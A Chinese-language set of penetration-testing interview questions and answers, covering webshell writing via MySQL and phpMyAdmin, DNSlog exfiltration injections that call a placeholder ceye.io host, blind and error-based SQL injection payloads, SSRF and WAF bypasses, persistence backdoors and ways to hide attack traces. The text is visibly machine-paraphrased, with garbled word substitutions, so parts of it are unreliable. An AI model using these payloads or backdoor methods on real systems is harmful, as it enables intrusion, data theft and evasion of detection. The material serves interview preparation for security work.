那么当前网络安全的技能岗位,热门方向有很多,说几个例子。
逆向
APT

代码审计
区块链
渗透(不限于内网、CS客户端,APP,小程序,微做事等)
常见面试题及参考问:MySQL写WebShell有几种办法,利用条件答:
一、
union select 后写入
lines terminated by 写入
lines starting by 写入
fields terminated by 写入
COLUMNS terminated by 写入
二、
root权限
GPC关闭(能利用单引号),magic_quotes_gpc=On
有绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv
成功条件:有读写的权限,有create、insert、select的权限
问:Sql 注入无回显的情形下,利用 DNSlog,mysql 下利用什么布局代码,mssql 下又如何?答:
(1)没有回显的情形下,一样平常编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,随意马虎被封禁IP,可以考试测验调度要求频率,有条件的利用代理池进行要求。
(2)此时也可以利用 DNSlog 注入,事理便是把做事器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。
(3)Mysql 中利用 load_file() 布局payload
‘ and if((select load_file(concat(‘\\\\’,(select database()),’.xxx.ceye.io\\abc’))),1,0)#
(4)Mssql 下利用 master..xp_dirtree 布局payload
DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+’.xxx.ceye.io’;EXEC(‘master..xp_dirtree”\’+@host+’\foobar$”‘);
问:phpmyadmin写sehll的方法答:
一、常规导入shell的操作
创建数据表导出shell
CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘<?php @eval($_POST[pass]);?>’);
SELECT `content` FROM `shadow9` INTO OUTFILE ‘C:\\phpStudy\\WWW\\90sec.php’;
DROP TABLE IF EXISTS `shadow9`;
二、一句话导出shell:
select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/90sec.php'; select '<?php @eval($_POST[pass]);?>' into outfile 'c:\\phpstudy\\www\\90sec.php';select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:\\phpstudy\\www\\bypass.php';
三、日志备份获取shell
show global variables like "%genera%"; //查询general_log配置set global general_log='on'; //开启general log模式SET global general_log_file='D:/phpStudy/WWW/cmd.php'; //设置日志文件保存路径SELECT '<?php phpinfo();?>'; //phpinfo()写入日志文件set global general_log='off'; //关闭general_log模式
问:权限坚持的方法
答:
留自启动后门方法很多,大多数都添加到做事,加注册表 加启动项,
windows:
1.更换系统文件类(shift后门,放大镜后门)
2.修正注册表类
自启动项、屏幕保护程序注册表、用户上岸初始化、登录脚本、映像挟制、影子账户、AppCertDlls注册表项、AppInit_DLLs注册表项、文件关联、用户上岸初始化、xx.Netsh Helper DLL
3.文件类
自启动文件夹、office Word StartUp挟制
4.操持任务
schtasks 、WMI、bitsadmin
Linux
1.预加载型动态链接库后门
2.strace后门
3.SSH 后门
4.SUID后门
5.inetd做事后门
6.协议后门
7.vim后门
8.PAM后门
9.进程注入
10.Rootkit
11.端口复用
MSF权限坚持
1.Persistence模块
2.Metsvc 模块
Powershell权限坚持
CS权限坚持
SC命令
问:XXE 漏洞事理,代码审计如何探求?答:
(1)XXE (XML 外部实体注入)当 运用许可引用 XML 外部实体时,攻击者通过布局恶意内容,就可能进行任意文件读取、系统命令实行、内网端口探测、内网网站攻击等操作。
支持的协议如下图:
Java :支持http、https、file、ftp、mailto、jar、netdoc、(1.8不支持gopher)
(2)审计函数,涉及到XML文件处理,都可能造成 XXE
(3)防御方法:禁用外部实体
问:SSRF 禁用 127.0.0.1 后如何绕过,支持哪些协议?答:
(1)利用进制转换
(2)利用DNS解析
(3)利用句号(127。0。0。1)
(4)利用[::](http://[::]:80/);
(5)利用@(http://example.com@127.0.0.1);
(6)利用短地址(http://dwz.cn/11SMa);
(7)协议(Dict://、SFTP://、TFTP://、LDAP://、Gopher://)
问:应急相应如何查找挖矿病毒,如何通过进程找到挖矿文件答:
(1)任务管理器netstat -anp探求非常进程PID看端口信息,然后根据端口信息定位到文件,cd /proc/PID (ls -l查看),
禁用可疑的做事项。
(2)windows还可以用wmic剖析进程参数
问:struts2框架漏洞事理答:
(1)struts是java的web框架
(2)采纳OGNL表达式,处理view层数据字符串到controller层转换成java工具
(3)重点关注的编号加粗如下
S2-057 影响范围非常小
S2-048 影响范围非常小
S2-046 和S2-045一样
S2-045 影响范围较大—-通过Content-Type这个header头,进而实行命令,通过Strus2对缺点处理进行回显
S2-037 影响范围小
S2-032 影响范围小
S2-020 影响范围小
S2-019 影响范围一样平常
S2-016 影响范围非常大
S2-013 S2-016范围内
S2-009 S2-016范围内
S2-005 S2-016范围内
问:JAVA反序列化事理答:
(1)Java序列化指Java工具转换为字节序列的过程
(2)Java反序列化指字节序列规复为Java工具的过程
(3) Commons-collections 爆出第一个漏洞开始,Java反序列化漏洞的事宜就层出不穷。
(4)在Java中,利用ObjectInputStream的readObject方法进行工具读取
(5)可以深入理解 ysoserial有哪些gadgets
问:cors如何产生,有哪些利用办法?绕过同源策略的方法有哪些?jsonp跨域如何利用?答:
(1)CORS全称是”跨域资源共享”(Cross-origin resource sharing),Origin源未严格,从而造成跨域问题,许可浏览器向跨源做事器,发出XMLHttpRequest要求
(2)Origin为的时候,利用curl测试CORS,
curl <url> -H “Origin: https://evil.com” -I
再探求的api接口是否有敏感信息泄露。
(3)同源:协议相同、域名相同、端口相同,绕过同源策略限定的方法:
1、document.domain属性
2、片段识别符(URL后加#号)
3、window.name
4、跨文档通信API
5、JSONP
6、CORS
7、WebSockets
(4)jsonp跨域利用:获取JSON数据并编码发送到远程做事器上
问:phar协议如何利用,php伪协议input与post数据包发送有什么差异?答:
(1)可以Bypass一些waf,绕过上传限定
(2)Phar反序列化,Phar:// 伪协议读取phar文件时,会反序列化meta-data储存
(3) 差异
一、 application/x-www-form-urlencoded 或 multipart/form-data时
php://input 中是原始数据。
$_POST 中是关联数组,且没有上传控件的内容。
二、enctype=”multipart/form-data” 时
php://input 是无效的。
三、 Content-Type = “text/plain”时
$_POST 不能获取post的数据, php://input可以。
问:内网做事器,如何进行信息网络答:(1)手动,用一些小工具(批量看存活)
new user /domain查域、net view看共享、hosts文件内网ip域名映射、wifi记录和密码、浏览器中的密码、敏感文件、各种做事的配置文件中信息、历史命令、ssh私钥、FTP的连接信息、xshell等ssh连接工具的session文件,3389连接历史和被连接历史信息、某些内网api接口未授权访问
(2)扫描器
主机扫描、端口扫描、漏洞扫描、识别内网环境、密码爆破、抓密码
(3)留后门,抓信息
问:内网黄金票据、白银票据的差异和利用办法答:
(1)白银票据:抓取到了域控做事hash的情形下,在客户端以一个普通域用户的身份天生TGS票据,并且是针对付某个机器上的某个做事的,天生的白银票据,只能访问指定的target机器中指定的做事。
黄金票据:直接抓取域控中账号的hash,来在client端天生一个TGT票据,那么该票据是针对所有机器的所有做事。
(2)通过mimkatz实行,导出域控中账号的Hash
问:docker远程api漏洞事理答:
(1)docker swarm 是一个将docker集群变成单一虚拟的docker host工具,利用标准的Docker API,能够方便docker集群的管理和扩展,该未授权访问,可以通过url操作,实行docker命令。
(2)通过docker client实行目标做事器容器命令,docker因此root权限运行的
一、有运行ssh做事,/root/.ssh目录挂载到container内,,然后修正/.ssh/authorized_keys 文件,把自己的public key写进去
二、没有运行ssh做事,利用挂载写crontab定时任务,反弹一个shell
问:ssrf怎么用redis写shell答:
(1)SSRF做事端要求假造
一、对内网扫描,获取 banner
二、攻击运行在内网的运用,紧张是利用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
三、利用协议读取本地文件
四、 云打算环境AWS Google Cloud 环境可以调用内网操作 ECS 的 API
(2)如webligic SSRF漏洞
通过SSRF的gopher协议操作内网的redis,利用redis将反弹shell写入crontab定时任务,url编码,将\r字符串更换成%0d%0a
问:预编译能否100%防sql注入,如果不能,写一个答:
不能。
一、
$pdo->query('SET NAMES gbk');$var = "\xbf\x27 OR 1=1 /";$query = 'SELECT FROM test WHERE name = ? LIMIT 1';$stmt = $pdo->prepare($query);$stmt->execute(array($var));
类似于宽字节注入
二、
$dbh = new PDO("txf");$name = $_GET['name'];$stmt = $dbh->prepare('SELECT FROM ' . $name . ' where username = :username');$stmt->execute( array(':username' => $_REQUEST['username']) );
参数name是一串数组,PDO不会生效
三、
$stmt = $dbh->prepare('SELECT FROM foo ORDER BY :userSuppliedData');
PDO对DDL不生效
问:WAF 绕过答:
1 注释更换空格
2 字符集绕过
3 chunked绕过
4 上传要求 multipart 绕过
5.参数污染
。。。
问:SQL注入布局payload答:
一、布尔型盲注
(1)mysql :
‘and (length(database()))>10 –+
(2)oracle:
‘ and 1=(select decode(user,’SCOTT’,1,0) from dual) –
二、韶光型盲注
and if(ascii(substr((select database()),1,1))>115,1,sleep(5))
三、利用报错回显
(1) extractvalue
and extractvalue(1,concat(0x7e,(select database())))
(2) updatexml
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
问:UDF提权事理答:利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库,导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd
问:提权办法答:
windows:
1.systminfo ,根据系统补丁提权
2.第三方做事提权
3.数据库提权
。。。
linux:
1.利用系统内核漏洞进行提权
2.泄露密码提权
3.sudo提权
4.SUID提权
。。。
问:XSS弹窗函数及常见的 XSS 绕过策略答:
一、alert,confirm,prompt三种函数
二、绕过策略
1. 大小写稠浊
2. 双写
3.编码
4. fuzz 低频利用标签 <details/open/ontoggle>
5. fuzz 低频利用函数 ontoggle 等
6.<img/src=1>
7.%0a或者%0d绕过
问:Windows cmd 如何下载文件答:
1.certutil.exe
2.powershell
3.bitsadmin
4.vbs
5.ftp
问:SVN/GIT源代码透露答:
(1)在利用SVN管理本地代码过程中,会自动天生一个名为.svn的隐蔽文件夹,个中包含主要的源代码信息
/.git/config
(2)利用git进行版本掌握,对站点自动支配。如果配置不当,可能会将.git文件夹直接支配到线上环境。这就引起了git透露漏洞
/.svn/entries
问:reverse_tcp 和 bind_tcp 的差异答:
(1)reverse_tcp
木马会主动连接目标做事器
(2)bind_tcp
木马会监听本地的端口
什么是fastjson,有哪些漏洞?答:
(1)Fastjson是Alibaba开拓的Java措辞编写的高性能JSON库
(2)攻击者准备rmi做事和web做事,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者掌握rmi做事器,JNDI接口向攻击者掌握web做事器远程加载恶意代码,实行布局函数形成RCE
(3)fastjson漏洞历史
1.fastjson-1.2.24
(fastjson接管的JSON可以通过艾特type字段来指定该JSON应该还原成何种类型的工具,在反序列化的时候方便操作)
2.fastjson-1.248以下
(checkAutoType中利用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测)
3.fastjson-1.2.60以下
(在此版本以下,字符串中包含\x转义字符时可以造成dos漏洞)
问:隐蔽攻击痕迹的方法答:
1.跳板
2.代理做事器
3.Tor
4.日志
5.打消历史记录
6.粉碎文件
理解漏洞讲诉一些近期及有代表性的漏洞
Microsoft Exchange .Net反序列化远程代码实行(CVE-2020-0688)该漏洞是由于Exchange掌握面板(ECP)组件中利用了静态密钥validationKey和decryptionKey
Apache Tomcat 文件包含漏洞(CVE-2020-1938)默认情形下,Tomcat会开启AJP连接器, Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的要求,可以读取或者包含Web根目录下的任意文件,合营文件上传,将导致任意代码实行(RCE)
Weblogic IIOP反序列化漏洞(CVE-2020-2551)weblogic核心组件中IIOP协议,通过该协议对存在漏洞的WebLogic进行远程代码实行的攻击
Apache Solr远程代码实行(CVE-2019-12409)默认配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段默认配置不屈安.如果利用默认配置,将启用JMX监视做事并将对公网监听18983的RMI端口,无需任何验证,合营JMX RMI远程代码实行
SHIRO-550 反序列化漏洞shiro默认利用了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化
AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞
SHIRO-721反序列化漏洞不须要key,利用Padding Oracle Attack布局出RememberMe字段后段的值结合合法的RememberMe cookie即可完成攻击
泛微Ecology OA SQL注入漏洞validate.jsp接口的SQL注入,/cpt/manage/validate.jsp
泛微ecology OA系统接口存在数据库配置信息透露/mobile/dbconfigreader.jsp,直接访问该页面将为DES加密往后的乱码,利用DES算法结合硬编码的key进行解密
Confluence本地文件透露漏洞(CVE-2019-3394)catalina.jar中的org.apache.catalina.webresources.StandardRoot.class的getResource方法的validate存在过滤和限定,以是可遍历路径均在/WEB-INF下
Apache Dubbo反序列化漏洞(CVE-2019-17564)当HTTP remoting 开启的时候,存在反序列化漏洞